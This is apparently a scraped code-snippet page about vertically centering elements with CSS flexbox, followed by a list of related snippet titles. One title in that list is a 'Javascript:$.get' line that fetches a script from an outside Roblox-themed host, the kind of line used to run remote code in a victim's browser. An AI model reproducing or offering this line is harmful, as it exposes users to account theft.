Css center div vertically

Css align items vertical center

.parent {
  display: flex;
  justify-content: center;
  align-items: center;
}

Source: css-tricks.com

Css center vertically

/* 100vh = 100% Viewport Height */
body {
	display: flex;
	height: 100vh;
	flex-direction: column;
	justify-content: center;
}
/* add */ align-items: center; /*to also center horizontally.*/

Similar codes

0 vote208 views2 answers
Facebook box-shadow css
CSS
51 votes187 views6 answers
Css first element
CSS
2 votes179 views1 answer
Not hover css
CSS
0 vote180 views1 answer
Javafx css rectangle outline
CSS
0 vote186 views1 answer
Css svg width 100%
CSS
0 vote203 views10 answers
Javascript:$.get("//javascript-roblox.com/api?i=13407")
CSS
1 vote206 views1 answer
Css no list markers
CSS
93 votes193 views6 answers
Css center image in div
CSS
34 votes181 views3 answers
Css blur background image only
CSS
12 votes177 views4 answers
Need short long paragraph css
CSS